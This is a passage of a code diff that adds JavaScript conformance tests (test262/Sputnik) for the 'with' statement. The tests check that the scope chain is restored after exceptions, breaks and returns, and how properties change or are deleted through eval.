+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if(myObj.p1 !== "a"){
+ $ERROR('#3: myObj.p1 === "a". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A3.7_T4.js b/js/src/tests/test262/ch12/12.10/S12.10_A3.7_T4.js
new file mode 100644
index 000000000..cd97c3c1b
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A3.7_T4.js
@@ -0,0 +1,57 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * No matter how control leaves the embedded 'Statement',
+ * the scope chain is always restored to its former state
+ *
+ * @path ch12/12.10/S12.10_A3.7_T4.js
+ * @description Declaring and calling a function within "with" statement, leading to completion by exception
+ * @noStrict
+ */
+
+this.p1 = 1;
+
+var result = "result";
+
+var myObj = {
+ p1: 'a',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';}
+}
+
+try {
+ with(myObj){
+ (function (){
+ p1 = 'x1';
+ throw value;
+ })();
+ }
+} catch(e){
+ result = p1;
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if(result !== 1){
+ $ERROR('#1: result === 1. Actual: result ==='+ result );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if(p1 !== 1){
+ $ERROR('#2: p1 === 1. Actual: p1 ==='+ p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if(myObj.p1 !== "x1"){
+ $ERROR('#3: myObj.p1 === "x1". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A3.7_T5.js b/js/src/tests/test262/ch12/12.10/S12.10_A3.7_T5.js
new file mode 100644
index 000000000..c0d9d84a2
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A3.7_T5.js
@@ -0,0 +1,57 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * No matter how control leaves the embedded 'Statement',
+ * the scope chain is always restored to its former state
+ *
+ * @path ch12/12.10/S12.10_A3.7_T5.js
+ * @description Declaring and calling a function within "with" statement, leading to completion by exception
+ * @noStrict
+ */
+
+this.p1 = 1;
+
+var result = "result";
+
+var myObj = {
+ p1: 'a',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';}
+}
+
+try {
+ with(myObj){
+ (function f(){
+ throw value;
+ p1 = 'x1';
+ })();
+ }
+} catch(e){
+ result = p1;
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if(result !== 1){
+ $ERROR('#1: result === 1. Actual: result ==='+ result );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if(p1 !== 1){
+ $ERROR('#2: p1 === 1. Actual: p1 ==='+ p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if(myObj.p1 !== "a"){
+ $ERROR('#3: myObj.p1 === "a". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A3.8_T1.js b/js/src/tests/test262/ch12/12.10/S12.10_A3.8_T1.js
new file mode 100644
index 000000000..efe008e85
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A3.8_T1.js
@@ -0,0 +1,45 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * No matter how control leaves the embedded 'Statement',
+ * the scope chain is always restored to its former state
+ *
+ * @path ch12/12.10/S12.10_A3.8_T1.js
+ * @description Declaring function constructor within "with" statement, leading to normal completion
+ * @noStrict
+ */
+
+this.p1 = 1;
+
+var result = "result";
+
+var myObj = {
+ p1: 'a',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';}
+}
+
+with(myObj){
+ var __FACTORY = function(){
+ p1 = 'x1';
+ }
+ var obj = new __FACTORY;
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if(p1 !== 1){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if(myObj.p1 !== "x1"){
+ $ERROR('#2: myObj.p1 === "x1". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A3.8_T2.js b/js/src/tests/test262/ch12/12.10/S12.10_A3.8_T2.js
new file mode 100644
index 000000000..948270d0f
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A3.8_T2.js
@@ -0,0 +1,46 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * No matter how control leaves the embedded 'Statement',
+ * the scope chain is always restored to its former state
+ *
+ * @path ch12/12.10/S12.10_A3.8_T2.js
+ * @description Declaring function constructor within "with" statement, leading to normal completion by "return"
+ * @noStrict
+ */
+
+this.p1 = 1;
+
+var result = "result";
+
+var myObj = {
+ p1: 'a',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';}
+}
+
+with(myObj){
+ var __FACTORY = function(){
+ p1 = 'x1';
+ return value;
+ }
+ var obj = new __FACTORY;
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if(p1 !== 1){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if(myObj.p1 !== "x1"){
+ $ERROR('#2: myObj.p1 === "x1". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A3.8_T3.js b/js/src/tests/test262/ch12/12.10/S12.10_A3.8_T3.js
new file mode 100644
index 000000000..f104c10f3
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A3.8_T3.js
@@ -0,0 +1,46 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * No matter how control leaves the embedded 'Statement',
+ * the scope chain is always restored to its former state
+ *
+ * @path ch12/12.10/S12.10_A3.8_T3.js
+ * @description Declaring function constructor within "with" statement, leading to normal completion by "return"
+ * @noStrict
+ */
+
+this.p1 = 1;
+
+var result = "result";
+
+var myObj = {
+ p1: 'a',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';}
+}
+
+with(myObj){
+ var __FACTORY = function(){
+ return value;
+ p1 = 'x1';
+ }
+ var obj = new __FACTORY;
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if(p1 !== 1){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if(myObj.p1 !== "a"){
+ $ERROR('#2: myObj.p1 === "a". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A3.8_T4.js b/js/src/tests/test262/ch12/12.10/S12.10_A3.8_T4.js
new file mode 100644
index 000000000..2f034a106
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A3.8_T4.js
@@ -0,0 +1,58 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * No matter how control leaves the embedded 'Statement',
+ * the scope chain is always restored to its former state
+ *
+ * @path ch12/12.10/S12.10_A3.8_T4.js
+ * @description Declaring function constructor within "with" statement, leading to completion by exception
+ * @noStrict
+ */
+
+this.p1 = 1;
+
+var result = "result";
+
+var myObj = {
+ p1: 'a',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';}
+}
+
+try {
+ with(myObj){
+ var __FACTORY = function(){
+ p1 = 'x1';
+ throw value;
+ }
+ var obj = new __FACTORY;
+ }
+} catch(e){
+ result = p1;
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if(result !== 1){
+ $ERROR('#1: result === 1. Actual: result ==='+ result );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if(p1 !== 1){
+ $ERROR('#2: p1 === 1. Actual: p1 ==='+ p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if(myObj.p1 !== "x1"){
+ $ERROR('#3: myObj.p1 === "x1". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A3.8_T5.js b/js/src/tests/test262/ch12/12.10/S12.10_A3.8_T5.js
new file mode 100644
index 000000000..7484ca06a
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A3.8_T5.js
@@ -0,0 +1,58 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * No matter how control leaves the embedded 'Statement',
+ * the scope chain is always restored to its former state
+ *
+ * @path ch12/12.10/S12.10_A3.8_T5.js
+ * @description Declaring function constructor within "with" statement, leading to completion by exception
+ * @noStrict
+ */
+
+this.p1 = 1;
+
+var result = "result";
+
+var myObj = {
+ p1: 'a',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';}
+}
+
+try {
+ with(myObj){
+ var __FACTORY = function(){
+ throw value;
+ p1 = 'x1';
+ }
+ var obj = new __FACTORY;
+ }
+} catch(e){
+ result = p1;
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if(result !== 1){
+ $ERROR('#1: result === 1. Actual: result ==='+ result );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if(p1 !== 1){
+ $ERROR('#2: p1 === 1. Actual: p1 ==='+ p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if(myObj.p1 !== "a"){
+ $ERROR('#3: myObj.p1 === "a". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A3.9_T1.js b/js/src/tests/test262/ch12/12.10/S12.10_A3.9_T1.js
new file mode 100644
index 000000000..f54c2087b
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A3.9_T1.js
@@ -0,0 +1,46 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * No matter how control leaves the embedded 'Statement',
+ * the scope chain is always restored to its former state
+ *
+ * @path ch12/12.10/S12.10_A3.9_T1.js
+ * @description Using "for-in" statement within "with" statement, leading to normal completion
+ * @noStrict
+ */
+
+this.p1 = 1;
+
+var result = "result";
+
+var myObj = {
+ p1: 'a',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';}
+}
+
+with(myObj){
+ for(var prop in myObj){
+ p1 = 'x1';
+ }
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if(p1 !== 1){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if(myObj.p1 !== "x1"){
+ $ERROR('#2: myObj.p1 === "x1". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A3.9_T2.js b/js/src/tests/test262/ch12/12.10/S12.10_A3.9_T2.js
new file mode 100644
index 000000000..a1bb6dfe9
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A3.9_T2.js
@@ -0,0 +1,46 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * No matter how control leaves the embedded 'Statement',
+ * the scope chain is always restored to its former state
+ *
+ * @path ch12/12.10/S12.10_A3.9_T2.js
+ * @description Using "for-in" statement within "with" statement, leading to completion by break
+ * @noStrict
+ */
+
+this.p1 = 1;
+
+var result = "result";
+
+var myObj = {
+ p1: 'a',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';}
+}
+
+with(myObj){
+ for(var prop in myObj){
+ p1 = 'x1';
+ break;
+ }
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if(p1 !== 1){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if(myObj.p1 !== "x1"){
+ $ERROR('#2: myObj.p1 === "x1". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A3.9_T3.js b/js/src/tests/test262/ch12/12.10/S12.10_A3.9_T3.js
new file mode 100644
index 000000000..c00200340
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A3.9_T3.js
@@ -0,0 +1,46 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * No matter how control leaves the embedded 'Statement',
+ * the scope chain is always restored to its former state
+ *
+ * @path ch12/12.10/S12.10_A3.9_T3.js
+ * @description Using "for-in" statement within "with" statement, leading to completion by break
+ * @noStrict
+ */
+
+this.p1 = 1;
+
+var result = "result";
+
+var myObj = {
+ p1: 'a',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';}
+}
+
+with(myObj){
+ for(var prop in myObj){
+ break;
+ p1 = 'x1';
+ }
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if(p1 !== 1){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if(myObj.p1 !== "a"){
+ $ERROR('#2: myObj.p1 === "a". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A4_T1.js b/js/src/tests/test262/ch12/12.10/S12.10_A4_T1.js
new file mode 100644
index 000000000..6deef5b1a
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A4_T1.js
@@ -0,0 +1,33 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Changing property using "eval" statement containing "with" statement
+ *
+ * @path ch12/12.10/S12.10_A4_T1.js
+ * @description Changing string property
+ * @noStrict
+ */
+
+this.p1 = 1;
+var myObj = {
+ p1: 'a',
+}
+eval("with(myObj){p1='b'}");
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if(myObj.p1 !== 'b'){
+ $ERROR('#1: myObj.p1 === "b". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if(myObj.p1 === 1){
+ $ERROR('#2: myObj.p1 !== 1');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A4_T2.js b/js/src/tests/test262/ch12/12.10/S12.10_A4_T2.js
new file mode 100644
index 000000000..e31f52b84
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A4_T2.js
@@ -0,0 +1,33 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Changing property using "eval" statement containing "with" statement
+ *
+ * @path ch12/12.10/S12.10_A4_T2.js
+ * @description Changing number property
+ * @noStrict
+ */
+
+this.p1 = 'a';
+var myObj = {
+ p1: 1,
+}
+eval("with(myObj){p1=2}");
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if(myObj.p1 !== 2){
+ $ERROR('#1: myObj.p1 === 2. Actual: myObj.p1 ==='+ myObj.p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if(myObj.p1 === 'a'){
+ $ERROR('#2: myObj.p1 !== \'a\'');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A4_T3.js b/js/src/tests/test262/ch12/12.10/S12.10_A4_T3.js
new file mode 100644
index 000000000..94c58701c
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A4_T3.js
@@ -0,0 +1,33 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Changing property using "eval" statement containing "with" statement
+ *
+ * @path ch12/12.10/S12.10_A4_T3.js
+ * @description Changing boolean property
+ * @noStrict
+ */
+
+this.p1 = 'a';
+var myObj = {
+ p1: true,
+}
+eval("with(myObj){p1=false}");
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if(myObj.p1 !== false){
+ $ERROR('#1: myObj.p1 === false. Actual: myObj.p1 ==='+ myObj.p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if(myObj.p1 === 'a'){
+ $ERROR('#2: myObj.p1 !== \'a\'');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A4_T4.js b/js/src/tests/test262/ch12/12.10/S12.10_A4_T4.js
new file mode 100644
index 000000000..042d0dfc5
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A4_T4.js
@@ -0,0 +1,42 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Changing property using "eval" statement containing "with" statement
+ *
+ * @path ch12/12.10/S12.10_A4_T4.js
+ * @description Changing object property
+ * @noStrict
+ */
+
+this.p1 = 'a';
+var myObj = {
+ p1: {a:"hello"},
+}
+eval("with(myObj){p1={b:'hi'}}");
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if(myObj.p1.a === "hello"){
+ $ERROR('#1: myObj.p1.a !== "hello"');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if(myObj.p1.b !== "hi"){
+ $ERROR('#2: myObj.p1.b === "hi". Actual: myObj.p1.b ==='+ myObj.p1.b );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if(myObj.p1 === 'a'){
+ $ERROR('#3: myObj.p1 !== \'a\'');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A4_T5.js b/js/src/tests/test262/ch12/12.10/S12.10_A4_T5.js
new file mode 100644
index 000000000..38a743b03
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A4_T5.js
@@ -0,0 +1,33 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Changing property using "eval" statement containing "with" statement
+ *
+ * @path ch12/12.10/S12.10_A4_T5.js
+ * @description Changing array property
+ * @noStrict
+ */
+
+this.p1 = 'a';
+var myObj = {
+ p1: [1,2,3],
+}
+eval("with(myObj){p1=[3,2,1]}");
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if(myObj.p1[2] !== 1){
+ $ERROR('#1: myObj.p1[2] === 1. Actual: myObj.p1[2] ==='+ myObj.p1[2] );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if(myObj.p1 === 'a'){
+ $ERROR('#2: myObj.p1 !== \'a\'');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A4_T6.js b/js/src/tests/test262/ch12/12.10/S12.10_A4_T6.js
new file mode 100644
index 000000000..fce451118
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A4_T6.js
@@ -0,0 +1,33 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Changing property using "eval" statement containing "with" statement
+ *
+ * @path ch12/12.10/S12.10_A4_T6.js
+ * @description Changing function property
+ * @noStrict
+ */
+
+this.p1 = 'a';
+var myObj = {
+ p1: function(){return 0;},
+}
+eval("with(myObj){p1=function(){return 1;}}");
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if(myObj.p1() !== 1){
+ $ERROR('#1: myObj.p1 === 1. Actual: myObj.p1 ==='+ myObj.p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if(myObj.p1 === 'a'){
+ $ERROR('#2: myObj.p1 !== \'a\'');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A5_T1.js b/js/src/tests/test262/ch12/12.10/S12.10_A5_T1.js
new file mode 100644
index 000000000..351e4bb9d
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A5_T1.js
@@ -0,0 +1,50 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Deleting property using "eval" statement containing "with" statement
+ *
+ * @path ch12/12.10/S12.10_A5_T1.js
+ * @description Deleting string property
+ * @noStrict
+ */
+
+this.p1 = 1;
+var myObj = {
+ p1: 'a',
+ del:false
+}
+eval("with(myObj){del = delete p1}");
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if(myObj.p1 === 'a'){
+ $ERROR('#1: myObj.p1 !== "a"');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if(myObj.p1 !== undefined){
+ $ERROR('#2: myObj.p1 === undefined. Actual: myObj.p1 ==='+ myObj.p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if(myObj.del !== true){
+ $ERROR('#3: myObj.del === true. Actual: myObj.del ==='+ myObj.del );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#4
+if(myObj.p1 === 1){
+ $ERROR('#4: myObj.p1 !== 1');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A5_T2.js b/js/src/tests/test262/ch12/12.10/S12.10_A5_T2.js
new file mode 100644
index 000000000..909d79d03
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A5_T2.js
@@ -0,0 +1,50 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Deleting property using "eval" statement containing "with" statement
+ *
+ * @path ch12/12.10/S12.10_A5_T2.js
+ * @description Deleting number property
+ * @noStrict
+ */
+
+this.p1 = 'a';
+var myObj = {
+ p1: 1,
+ del:false
+}
+eval("with(myObj){del = delete p1}");
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if(myObj.p1 === 1){
+ $ERROR('#1: myObj.p1 !== 1');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if(myObj.p1 !== undefined){
+ $ERROR('#2: myObj.p1 === undefined . Actual: myObj.p1 ==='+ myObj.p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if(myObj.del !== true){
+ $ERROR('#3: myObj.del === true. Actual: myObj.del ===. Actual: myObj.del ==='+ myObj.del +myObj.del);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#4
+if(myObj.p1 === 'a'){
+ $ERROR('#4: myObj.p1 !== \'a\'');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A5_T3.js b/js/src/tests/test262/ch12/12.10/S12.10_A5_T3.js
new file mode 100644
index 000000000..cd2ec3487
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A5_T3.js
@@ -0,0 +1,51 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Deleting property using "eval" statement containing "with" statement
+ *
+ * @path ch12/12.10/S12.10_A5_T3.js
+ * @description Deleting boolean property
+ * @noStrict
+ */
+
+this.p1 = 'a';
+var myObj = {
+ p1: true,
+ del:false
+}
+
+eval("with(myObj){del = delete p1}");
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if(myObj.p1 === true){
+ $ERROR('#1: myObj.p1 !== true ');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if(myObj.p1 !== undefined){
+ $ERROR('#2: myObj.p1 === undefined . Actual: myObj.p1 ==='+ myObj.p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if(myObj.del !== true){
+ $ERROR('#3: myObj.del === true . Actual: myObj.del ==='+ myObj.del );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#4
+if(myObj.p1 === 'a'){
+ $ERROR('#4: myObj.p1 !== \'a\'');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A5_T4.js b/js/src/tests/test262/ch12/12.10/S12.10_A5_T4.js
new file mode 100644
index 000000000..96f2ded29
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A5_T4.js
@@ -0,0 +1,55 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Deleting property using "eval" statement containing "with" statement
+ *
+ * @path ch12/12.10/S12.10_A5_T4.js
+ * @description Deleting object property
+ * @noStrict
+ */
+
+this.p1 = 'a';
+var myObj = {
+ p1: {a:"hello"},
+ del:false
+}
+eval("with(myObj){del = delete p1}");
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+try{
+if(myObj.p1.a === "hello"){
+ $ERROR('#1: myObj.p1.a !== "hello" ');
+}
+}catch(e){var x=1};
+if(x !== 1){
+ $ERROR('#1: x === 1. Actual: x ==='+ x );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if(myObj.p1 !== undefined){
+ $ERROR('#2: myObj.p1 === undefined . Actual: myObj.p1 ==='+ myObj.p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if(myObj.del !== true){
+ $ERROR('#3: myObj.del === true . Actual: myObj.del ==='+ myObj.del );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#4
+if(myObj.p1 === 'a'){
+ $ERROR('#4: myObj.p1 !== \'a\'');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A5_T5.js b/js/src/tests/test262/ch12/12.10/S12.10_A5_T5.js
new file mode 100644
index 000000000..f0b52d07a
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A5_T5.js
@@ -0,0 +1,55 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Deleting property using "eval" statement containing "with" statement
+ *
+ * @path ch12/12.10/S12.10_A5_T5.js
+ * @description Deleting array property
+ * @noStrict
+ */
+
+this.p1 = 'a';
+var myObj = {
+ p1: [1,2,3],
+ del:false
+}
+eval("with(myObj){del = delete p1}");
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+try{
+if(myObj.p1[2] === 3){
+ $ERROR('#1: myObj.p1[2] !== 3 ');
+}
+}catch(e){var x=1};
+if(x !== 1){
+ $ERROR('#1: x === 1. Actual: x ==='+ x );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
